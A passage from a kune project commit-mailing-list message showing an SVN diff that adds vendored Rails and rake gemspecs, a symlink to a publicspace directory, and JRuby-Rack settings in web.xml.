"doc/guides/source/actioncontroller_basics/request_response_objects.txt", "doc/guides/source/actioncontroller_basics/rescue.txt", "doc/guides/source/actioncontroller_basics/session.txt", "doc/guides/source/actioncontroller_basics/streaming.txt", "doc/guides/source/actioncontroller_basics/verification.txt", "doc/guides/source/active_record_basics.txt", "doc/guides/source/activerecord_validations_callbacks.txt", "doc/guides/source/association_basics.txt", "doc/guides/source/authors.txt", "doc/guides/source/benchmarking_and_profiling", "doc/guides/source/benchmarking_and_profiling/appendix.txt", "doc/guides/source/benchmarking_and_profiling/digging_deeper.txt", "doc/guides/source/benchmarking_and_profiling/edge_rails_features.txt", "doc/guides/source/benchmarking_and_profiling/gameplan.txt", "doc/guides/source/benchmarking_and_profiling/index.txt", "doc/guides/source/benchmarking_and_profiling/rubyprof.txt", "doc/guides/source/benchmarking_and_profiling/statistics.txt", "doc/guides/source/caching_with_rails.txt", "doc/guides/source/command_line.txt", "doc/guides/source/configuring.txt", "doc/guides/source/creating_plugins", "doc/guides/source/creating_plugins/acts_as_yaffle.txt", "doc/guides/source/creating_plugins/appendix.txt", "doc/guides/source/creating_plugins/controllers.txt", "doc/guides/source/creating_plugins/core_ext.txt", "doc/guides/source/creating_plugins/custom_route.txt", "doc/guides/source/creating_plugins/gem.txt", "doc/guides/source/creating_plugins/generator_method.txt", "doc/guides/source/creating_plugins/helpers.txt", "doc/guides/source/creating_plugins/index.txt", "doc/guides/source/creating_plugins/migration_generator.txt", "doc/guides/source/creating_plugins/models.txt", "doc/guides/source/creating_plugins/odds_and_ends.txt", "doc/guides/source/creating_plugins/test_setup.txt", "doc/guides/source/debugging_rails_applications.txt", "doc/guides/source/finders.txt", "doc/guides/source/form_helpers.txt", "doc/guides/source/getting_started_with_rails.txt", "doc/guides/source/images", "doc/guides/source/images/belongs_to.png", "doc/guides/source/images/bullet.gif", "doc/guides/source/images/csrf.png", "doc/guides/source/images/habtm.png", "doc/guides/source/images/has_many.png", "doc/guides/source/images/has_many_through.png", "doc/guides/source/images/has_one.png", "doc/guides/source/images/has_one_through.png", "doc/guides/source/images/header_backdrop.png", "doc/guides/source/images/icons", "doc/guides/source/images/icons/callouts", "doc/guides/source/images/icons/callouts/1.png", "doc/guides/source/images/icons/callouts/10.png", "doc/guides/source/images/icons/callouts/11.png", "doc/guides/source/images/icons/callouts/12.png", "doc/guides/source/images/icons/callouts/13.png", "doc/guides/source/images/icons/callouts/14.png", "doc/guides/source/images/icons/callouts/15.png", "doc/guides/source/images/icons/callouts/2.png", "doc/guides/source/images/icons/callouts/3.png", "doc/guides/source/images/icons/callouts/4.png", "doc/guides/source/images/icons/callouts/5.png", "doc/guides/source/images/icons/callouts/6.png", "doc/guides/source/images/icons/callouts/7.png", "doc/guides/source/images/icons/callouts/8.png", "doc/guides/source/images/icons/callouts/9.png", "doc/guides/source/images/icons/caution.png", "doc/guides/source/images/icons/example.png", "doc/guides/source/images/icons/home.png", "doc/guides/source/images/icons/important.png", "doc/guides/source/images/icons/next.png", "doc/guides/source/images/icons/note.png", "doc/guides/source/images/icons/prev.png", "doc/guides/source/images/icons/README", "doc/guides/source/images/icons/tip.png", "doc/guides/source/images/icons/up.png", "doc/guides/source/images/icons/warning.png", "doc/guides/source/images/polymorphic.png", "doc/guides/source/images/rails_logo_remix.gif", "doc/guides/source/images/ruby_on_rails_by_mike_rundle2.gif", "doc/guides/source/images/session_fixation.png", "doc/guides/source/index.txt", "doc/guides/source/layouts_and_rendering.txt", "doc/guides/source/migrations", "doc/guides/source/migrations/anatomy_of_a_migration.txt", "doc/guides/source/migrations/changelog.txt", "doc/guides/source/migrations/creating_a_migration.txt", "doc/guides/source/migrations/foreign_keys.txt", "doc/guides/source/migrations/index.txt", "doc/guides/source/migrations/rakeing_around.txt", "doc/guides/source/migrations/scheming.txt", "doc/guides/source/migrations/using_models_in_migrations.txt", "doc/guides/source/migrations/writing_a_migration.txt", "doc/guides/source/routing_outside_in.txt", "doc/guides/source/security.txt", "doc/guides/source/stylesheets", "doc/guides/source/stylesheets/base.css", "doc/guides/source/stylesheets/forms.css", "doc/guides/source/stylesheets/more.css", "doc/guides/source/templates", "doc/guides/source/templates/guides.html.erb", "doc/guides/source/templates/inline.css", "doc/guides/source/testing_rails_applications.txt", "doc/README_FOR_APP", "dispatches/dispatch.fcgi", "dispatches/dispatch.rb", "dispatches/gateway.cgi", "environments/boot.rb", "environments/development.rb", "environments/environment.rb", "environments/production.rb", "environments/test.rb", "helpers/application.rb", "helpers/application_helper.rb", "helpers/performance_test.rb", "helpers/test_helper.rb", "html/404.html", "html/422.html", "html/500.html", "html/favicon.ico", "html/images", "html/images/rails.png", "html/index.html", "html/javascripts", "html/javascripts/application.js", "html/javascripts/controls.js", "html/javascripts/dragdrop.js", "html/javascripts/effects.js", "html/javascripts/prototype.js", "html/robots.txt", "lib/code_statistics.rb", "lib/commands", "lib/commands/about.rb", "lib/commands/console.rb", "lib/commands/dbconsole.rb", "lib/commands/destroy.rb", "lib/commands/generate.rb", "lib/commands/ncgi", "lib/commands/ncgi/listener", "lib/commands/ncgi/tracker", "lib/commands/performance", "lib/commands/performance/benchmarker.rb", "lib/commands/performance/profiler.rb", "lib/commands/performance/request.rb", "lib/commands/plugin.rb", "lib/commands/process", "lib/commands/process/inspector.rb", "lib/commands/process/reaper.rb", "lib/commands/process/spawner.rb", "lib/commands/process/spinner.rb", "lib/commands/runner.rb", "lib/commands/server.rb", "lib/commands/servers", "lib/commands/servers/base.rb", "lib/commands/servers/lighttpd.rb", "lib/commands/servers/mongrel.rb", "lib/commands/servers/new_mongrel.rb", "lib/commands/servers/thin.rb", "lib/commands/servers/webrick.rb", "lib/commands/update.rb", "lib/commands.rb", "lib/console_app.rb", "lib/console_sandbox.rb", "lib/console_with_helpers.rb", "lib/dispatcher.rb", "lib/fcgi_handler.rb", "lib/initializer.rb", "lib/performance_test_help.rb", "lib/rails", "lib/rails/gem_builder.rb", "lib/rails/gem_dependency.rb", "lib/rails/mongrel_server", "lib/rails/mongrel_server/commands.rb", "lib/rails/mongrel_server/handler.rb", "lib/rails/plugin", "lib/rails/plugin/loader.rb", "lib/rails/plugin/locator.rb", "lib/rails/plugin.rb", "lib/rails/rack", "lib/rails/rack/logger.rb", "lib/rails/rack/static.rb", "lib/rails/rack.rb", "lib/rails/vendor_gem_source_index.rb", "lib/rails/version.rb", "lib/rails_generator", "lib/rails_generator/base.rb", "lib/rails_generator/commands.rb", "lib/rails_generator/generated_attribute.rb", "lib/rails_generator/generators", "lib/rails_generator/generators/applications", "lib/rails_generator/generators/applications/app", "lib/rails_generator/generators/applications/app/app_generator.rb", "lib/rails_generator/generators/applications/app/USAGE", "lib/rails_generator/generators/components", "lib/rails_generator/generators/components/controller", "lib/rails_generator/generators/components/controller/controller_generator.rb", "lib/rails_generator/generators/components/controller/templates", "lib/rails_generator/generators/components/controller/templates/controller.rb", "lib/rails_generator/generators/components/controller/templates/functional_test.rb", "lib/rails_generator/generators/components/controller/templates/helper.rb", "lib/rails_generator/generators/components/controller/templates/view.html.erb", "lib/rails_generator/generators/components/controller/USAGE", "lib/rails_generator/generators/components/integration_test", "lib/rails_generator/generators/components/integration_test/integration_test_generator.rb", "lib/rails_generator/generators/components/integration_test/templates", "lib/rails_generator/generators/components/integration_test/templates/integration_test.rb", "lib/rails_generator/generators/components/integration_test/USAGE", "lib/rails_generator/generators/components/mailer", "lib/rails_generator/generators/components/mailer/mailer_generator.rb", "lib/rails_generator/generators/components/mailer/templates", "lib/rails_generator/generators/components/mailer/templates/fixture.erb", "lib/rails_generator/generators/components/mailer/templates/fixture.rhtml", "lib/rails_generator/generators/components/mailer/templates/mailer.rb", "lib/rails_generator/generators/components/mailer/templates/unit_test.rb", "lib/rails_generator/generators/components/mailer/templates/view.erb", "lib/rails_generator/generators/components/mailer/templates/view.rhtml", "lib/rails_generator/generators/components/mailer/USAGE", "lib/rails_generator/generators/components/migration", "lib/rails_generator/generators/components/migration/migration_generator.rb", "lib/rails_generator/generators/components/migration/templates", "lib/rails_generator/generators/components/migration/templates/migration.rb", "lib/rails_generator/generators/components/migration/USAGE", "lib/rails_generator/generators/components/model", "lib/rails_generator/generators/components/model/model_generator.rb", "lib/rails_generator/generators/components/model/templates", "lib/rails_generator/generators/components/model/templates/fixtures.yml", "lib/rails_generator/generators/components/model/templates/migration.rb", "lib/rails_generator/generators/components/model/templates/model.rb", "lib/rails_generator/generators/components/model/templates/unit_test.rb", "lib/rails_generator/generators/components/model/USAGE", "lib/rails_generator/generators/components/observer", "lib/rails_generator/generators/components/observer/observer_generator.rb", "lib/rails_generator/generators/components/observer/templates", "lib/rails_generator/generators/components/observer/templates/observer.rb", "lib/rails_generator/generators/components/observer/templates/unit_test.rb", "lib/rails_generator/generators/components/observer/USAGE", "lib/rails_generator/generators/components/performance_test", "lib/rails_generator/generators/components/performance_test/performance_test_generator.rb", "lib/rails_generator/generators/components/performance_test/templates", "lib/rails_generator/generators/components/performance_test/templates/performance_test.rb", "lib/rails_generator/generators/components/performance_test/USAGE", "lib/rails_generator/generators/components/plugin", "lib/rails_generator/generators/components/plugin/plugin_generator.rb", "lib/rails_generator/generators/components/plugin/templates", "lib/rails_generator/generators/components/plugin/templates/generator.rb", "lib/rails_generator/generators/components/plugin/templates/init.rb", "lib/rails_generator/generators/components/plugin/templates/install.rb", "lib/rails_generator/generators/components/plugin/templates/MIT-LICENSE", "lib/rails_generator/generators/components/plugin/templates/plugin.rb", "lib/rails_generator/generators/components/plugin/templates/Rakefile", "lib/rails_generator/generators/components/plugin/templates/README", "lib/rails_generator/generators/components/plugin/templates/tasks.rake", "lib/rails_generator/generators/components/plugin/templates/test_helper.rb", "lib/rails_generator/generators/components/plugin/templates/uninstall.rb", "lib/rails_generator/generators/components/plugin/templates/unit_test.rb", "lib/rails_generator/generators/components/plugin/templates/USAGE", "lib/rails_generator/generators/components/plugin/USAGE", "lib/rails_generator/generators/components/resource", "lib/rails_generator/generators/components/resource/resource_generator.rb", "lib/rails_generator/generators/components/resource/templates", "lib/rails_generator/generators/components/resource/templates/controller.rb", "lib/rails_generator/generators/components/resource/templates/functional_test.rb", "lib/rails_generator/generators/components/resource/templates/helper.rb", "lib/rails_generator/generators/components/resource/USAGE", "lib/rails_generator/generators/components/scaffold", "lib/rails_generator/generators/components/scaffold/scaffold_generator.rb", "lib/rails_generator/generators/components/scaffold/templates", "lib/rails_generator/generators/components/scaffold/templates/controller.rb", "lib/rails_generator/generators/components/scaffold/templates/functional_test.rb", "lib/rails_generator/generators/components/scaffold/templates/helper.rb", "lib/rails_generator/generators/components/scaffold/templates/layout.html.erb", "lib/rails_generator/generators/components/scaffold/templates/style.css", "lib/rails_generator/generators/components/scaffold/templates/view_edit.html.erb", "lib/rails_generator/generators/components/scaffold/templates/view_index.html.erb", "lib/rails_generator/generators/components/scaffold/templates/view_new.html.erb", "lib/rails_generator/generators/components/scaffold/templates/view_show.html.erb", "lib/rails_generator/generators/components/scaffold/USAGE", "lib/rails_generator/generators/components/session_migration", "lib/rails_generator/generators/components/session_migration/session_migration_generator.rb", "lib/rails_generator/generators/components/session_migration/templates", "lib/rails_generator/generators/components/session_migration/templates/migration.rb", "lib/rails_generator/generators/components/session_migration/USAGE", "lib/rails_generator/lookup.rb", "lib/rails_generator/manifest.rb", "lib/rails_generator/options.rb", "lib/rails_generator/scripts", "lib/rails_generator/scripts/destroy.rb", "lib/rails_generator/scripts/generate.rb", "lib/rails_generator/scripts/update.rb", "lib/rails_generator/scripts.rb", "lib/rails_generator/secret_key_generator.rb", "lib/rails_generator/simple_logger.rb", "lib/rails_generator/spec.rb", "lib/rails_generator.rb", "lib/railties_path.rb", "lib/ruby_version_check.rb", "lib/rubyprof_ext.rb", "lib/source_annotation_extractor.rb", "lib/tasks", "lib/tasks/annotations.rake", "lib/tasks/databases.rake", "lib/tasks/documentation.rake", "lib/tasks/framework.rake", "lib/tasks/gems.rake", "lib/tasks/log.rake", "lib/tasks/misc.rake", "lib/tasks/rails.rb", "lib/tasks/routes.rake", "lib/tasks/statistics.rake", "lib/tasks/testing.rake", "lib/tasks/tmp.rake", "lib/test_help.rb", "lib/webrick_server.rb"]
+  s.homepage = %q{http://www.rubyonrails.org}
+  s.rdoc_options = ["--exclude", "."]
+  s.require_paths = ["lib"]
+  s.rubyforge_project = %q{rails}
+  s.rubygems_version = %q{1.3.1}
+  s.summary = %q{Web-application framework with template engine, control-flow layer, and ORM.}
+
+  if s.respond_to? :specification_version then
+    current_version = Gem::Specification::CURRENT_SPECIFICATION_VERSION
+    s.specification_version = 2
+
+    if Gem::Version.new(Gem::RubyGemsVersion) >= Gem::Version.new('1.2.0') then
+      s.add_runtime_dependency(%q<rake>, [">= 0.8.3"])
+      s.add_runtime_dependency(%q<activesupport>, ["= 2.2.2"])
+      s.add_runtime_dependency(%q<activerecord>, ["= 2.2.2"])
+      s.add_runtime_dependency(%q<actionpack>, ["= 2.2.2"])
+      s.add_runtime_dependency(%q<actionmailer>, ["= 2.2.2"])
+      s.add_runtime_dependency(%q<activeresource>, ["= 2.2.2"])
+    else
+      s.add_dependency(%q<rake>, [">= 0.8.3"])
+      s.add_dependency(%q<activesupport>, ["= 2.2.2"])
+      s.add_dependency(%q<activerecord>, ["= 2.2.2"])
+      s.add_dependency(%q<actionpack>, ["= 2.2.2"])
+      s.add_dependency(%q<actionmailer>, ["= 2.2.2"])
+      s.add_dependency(%q<activeresource>, ["= 2.2.2"])
+    end
+  else
+    s.add_dependency(%q<rake>, [">= 0.8.3"])
+    s.add_dependency(%q<activesupport>, ["= 2.2.2"])
+    s.add_dependency(%q<activerecord>, ["= 2.2.2"])
+    s.add_dependency(%q<actionpack>, ["= 2.2.2"])
+    s.add_dependency(%q<actionmailer>, ["= 2.2.2"])
+    s.add_dependency(%q<activeresource>, ["= 2.2.2"])
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/specifications/rake-0.8.3.gemspec
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/specifications/rake-0.8.3.gemspec	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/specifications/rake-0.8.3.gemspec	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,33 @@
+# -*- encoding: utf-8 -*-
+
+Gem::Specification.new do |s|
+  s.name = %q{rake}
+  s.version = "0.8.3"
+
+  s.required_rubygems_version = Gem::Requirement.new(">= 0") if s.respond_to? :required_rubygems_version=
+  s.authors = ["Jim Weirich"]
+  s.date = %q{2008-09-25}
+  s.default_executable = %q{rake}
+  s.description = %q{Rake is a Make-like program implemented in Ruby. Tasks and dependencies are specified in standard Ruby syntax.}
+  s.email = %q{jim at weirichhouse.org}
+  s.executables = ["rake"]
+  s.extra_rdoc_files = ["README", "MIT-LICENSE", "TODO", "CHANGES", "doc/glossary.rdoc", "doc/proto_rake.rdoc", "doc/rakefile.rdoc", "doc/rational.rdoc", "doc/release_notes/rake-0.4.14.rdoc", "doc/release_notes/rake-0.4.15.rdoc", "doc/release_notes/rake-0.5.0.rdoc", "doc/release_notes/rake-0.5.3.rdoc", "doc/release_notes/rake-0.5.4.rdoc", "doc/release_notes/rake-0.6.0.rdoc", "doc/release_notes/rake-0.7.0.rdoc", "doc/release_notes/rake-0.7.1.rdoc", "doc/release_notes/rake-0.7.2.rdoc", "doc/release_notes/rake-0.7.3.rdoc", "doc/release_notes/rake-0.8.0.rdoc", "doc/release_notes/rake-0.8.2.rdoc", "doc/release_notes/rake-0.8.3.rdoc"]
+  s.files = ["install.rb", "CHANGES", "MIT-LICENSE", "Rakefile", "README", "TODO", "bin/rake", "lib/rake/classic_namespace.rb", "lib/rake/clean.rb", "lib/rake/contrib/compositepublisher.rb", "lib/rake/contrib/ftptools.rb", "lib/rake/contrib/publisher.rb", "lib/rake/contrib/rubyforgepublisher.rb", "lib/rake/contrib/sshpublisher.rb", "lib/rake/contrib/sys.rb", "lib/rake/gempackagetask.rb", "lib/rake/loaders/makefile.rb", "lib/rake/packagetask.rb", "lib/rake/rake_test_loader.rb", "lib/rake/rdoctask.rb", "lib/rake/ruby182_test_unit_fix.rb", "lib/rake/runtest.rb", "lib/rake/tasklib.rb", "lib/rake/testtask.rb", "lib/rake/win32.rb", "lib/rake.rb", "test/capture_stdout.rb", "test/check_expansion.rb", "test/contrib/test_sys.rb", "test/data/rakelib/test1.rb", "test/data/rbext/rakefile.rb", "test/filecreation.rb", "test/functional.rb", "test/in_environment.rb", "test/rake_test_setup.rb", "test/reqfile.rb", "test/reqfile2.rb", "test/session_functional.rb", "test/shellcommand.rb", "test/test_application.rb", "test/test_clean.rb", "test/test_definitions.rb", "test/test_earlytime.rb", "test/test_extension.rb", "test/test_file_creation_task.rb", "test/test_file_task.rb", "test/test_filelist.rb", "test/test_fileutils.rb", "test/test_ftp.rb", "test/test_invocation_chain.rb", "test/test_makefile_loader.rb", "test/test_multitask.rb", "test/test_namespace.rb", "test/test_package_task.rb", "test/test_pathmap.rb", "test/test_rake.rb", "test/test_require.rb", "test/test_rules.rb", "test/test_task_arguments.rb", "test/test_task_manager.rb", "test/test_tasklib.rb", "test/test_tasks.rb", "test/test_test_task.rb", "test/test_top_level_functions.rb", "test/test_win32.rb", "test/data/imports/deps.mf", "test/data/sample.mf", "test/data/chains/Rakefile", "test/data/default/Rakefile", "test/data/dryrun/Rakefile", "test/data/file_creation_task/Rakefile", "test/data/imports/Rakefile", "test/data/multidesc/Rakefile", "test/data/namespace/Rakefile", "test/data/statusreturn/Rakefile", "test/data/unittest/Rakefile", "test/data/unittest/subdir", "doc/example", "doc/example/a.c", "doc/example/b.c", "doc/example/main.c", "doc/example/Rakefile1", "doc/example/Rakefile2", "doc/glossary.rdoc", "doc/jamis.rb", "doc/proto_rake.rdoc", "doc/rake.1.gz", "doc/rakefile.rdoc", "doc/rational.rdoc", "doc/release_notes", "doc/release_notes/rake-0.4.14.rdoc", "doc/release_notes/rake-0.4.15.rdoc", "doc/release_notes/rake-0.5.0.rdoc", "doc/release_notes/rake-0.5.3.rdoc", "doc/release_notes/rake-0.5.4.rdoc", "doc/release_notes/rake-0.6.0.rdoc", "doc/release_notes/rake-0.7.0.rdoc", "doc/release_notes/rake-0.7.1.rdoc", "doc/release_notes/rake-0.7.2.rdoc", "doc/release_notes/rake-0.7.3.rdoc", "doc/release_notes/rake-0.8.0.rdoc", "doc/release_notes/rake-0.8.2.rdoc", "doc/release_notes/rake-0.8.3.rdoc"]
+  s.has_rdoc = true
+  s.homepage = %q{http://rake.rubyforge.org}
+  s.rdoc_options = ["--line-numbers", "--inline-source", "--main", "README", "--title", "Rake -- Ruby Make"]
+  s.require_paths = ["lib"]
+  s.rubyforge_project = %q{rake}
+  s.rubygems_version = %q{1.3.1}
+  s.summary = %q{Ruby based make-like utility.}
+
+  if s.respond_to? :specification_version then
+    current_version = Gem::Specification::CURRENT_SPECIFICATION_VERSION
+    s.specification_version = 2
+
+    if Gem::Version.new(Gem::RubyGemsVersion) >= Gem::Version.new('1.2.0') then
+    else
+    end
+  else
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/publicspace
===================================================================
--- trunk/src/main/webapp/WEB-INF/publicspace	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/publicspace	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1 @@
+link ../../rails/publicspace/
\ No newline at end of file


Property changes on: trunk/src/main/webapp/WEB-INF/publicspace
___________________________________________________________________
Name: svn:special
   + *

Modified: trunk/src/main/webapp/WEB-INF/web.xml
===================================================================
--- trunk/src/main/webapp/WEB-INF/web.xml	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/web.xml	2008-12-20 21:22:52 UTC (rev 1004)
@@ -1,44 +1,85 @@
 <!DOCTYPE web-app PUBLIC "-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN" "http://java.sun.com/dtd/web-app_2_3.dtd">
 <web-app>
-    <display-name>kune</display-name>
-    <description>kune</description>
+  <display-name>kune</display-name>
+  <description>kune</description>
 
-    <filter>
-        <filter-name>rack</filter-name>
-        <filter-class>
-            org.ourproject.kune.rack.RackServletFilter
+  <filter>
+    <filter-name>rack</filter-name>
+    <filter-class>
+      org.ourproject.kune.rack.RackServletFilter
         </filter-class>
-        <init-param>
-            <param-name>org.ourproject.kune.rack.RackModule</param-name>
-            <param-value>
-                org.ourproject.kune.app.server.KuneRackModule
+    <init-param>
+      <param-name>org.ourproject.kune.rack.RackModule</param-name>
+      <param-value>
+        org.ourproject.kune.app.server.KuneRackModule
             </param-value>
-        </init-param>
-    </filter>
+    </init-param>
+  </filter>
 
-    <filter-mapping>
-        <filter-name>rack</filter-name>
-        <url-pattern>/*</url-pattern>
-    </filter-mapping>
+  <filter-mapping>
+    <filter-name>rack</filter-name>
+    <url-pattern>/*</url-pattern>
+  </filter-mapping>
 
-    <servlet>
-        <servlet-name>Proxy</servlet-name>
-        <servlet-class>de.spieleck.servlets.ProxyServlet</servlet-class>
-        <init-param>
-            <param-name>remotePath</param-name>
-            <param-value>/http-bind/</param-value>
-        </init-param>
-        <init-param>
-            <param-name>remoteServer</param-name>
-            <param-value>localhost</param-value>
-        </init-param>
-        <init-param>
-            <param-name>remotePort</param-name>
-            <param-value>5280</param-value>
-        </init-param>
-    </servlet>
-    <servlet-mapping>
-        <servlet-name>Proxy</servlet-name>
-        <url-pattern>/http-bind/</url-pattern>
-    </servlet-mapping>
+  <context-param>
+    <param-name>jruby.standalone</param-name>
+    <param-value>true</param-value>
+  </context-param>
+  <context-param>
+    <param-name>rails.root</param-name>
+    <param-value>/WEB-INF/publicspace/</param-value>
+  </context-param>
+  <context-param>
+    <param-name>files.prefix</param-name>
+    <param-value>/WEB-INF/publicspace/public</param-value>
+  </context-param>
+  <context-param>
+    <param-name>rails.env</param-name>
+    <param-value>production</param-value>
+  </context-param>
+
+  <context-param>
+    <param-name>jruby.max.runtimes</param-name>
+    <param-value>1</param-value>
+  </context-param>
+
+  <context-param>
+    <param-name>public.root</param-name>
+    <param-value>/public/</param-value>
+  </context-param>
+
+
+  <filter>
+    <filter-name>RackFilter</filter-name>
+    <filter-class>org.jruby.rack.RackFilter</filter-class>
+  </filter>
+  <filter-mapping>
+    <filter-name>RackFilter</filter-name>
+    <url-pattern>/public/*</url-pattern>
+  </filter-mapping>
+
+  <listener>
+    <listener-class>org.jruby.rack.rails.RailsServletContextListener</listener-class>
+  </listener>
+
+  <servlet>
+    <servlet-name>Proxy</servlet-name>
+    <servlet-class>de.spieleck.servlets.ProxyServlet</servlet-class>
+    <init-param>
+      <param-name>remotePath</param-name>
+      <param-value>/http-bind/</param-value>
+    </init-param>
+    <init-param>
+      <param-name>remoteServer</param-name>
+      <param-value>localhost</param-value>
+    </init-param>
+    <init-param>
+      <param-name>remotePort</param-name>
+      <param-value>5280</param-value>
+    </init-param>
+  </servlet>
+  <servlet-mapping>
+    <servlet-name>Proxy</servlet-name>
+    <url-pattern>/http-bind/</url-pattern>
+  </servlet-mapping>
 </web-app>




More information about the kune-commits mailing list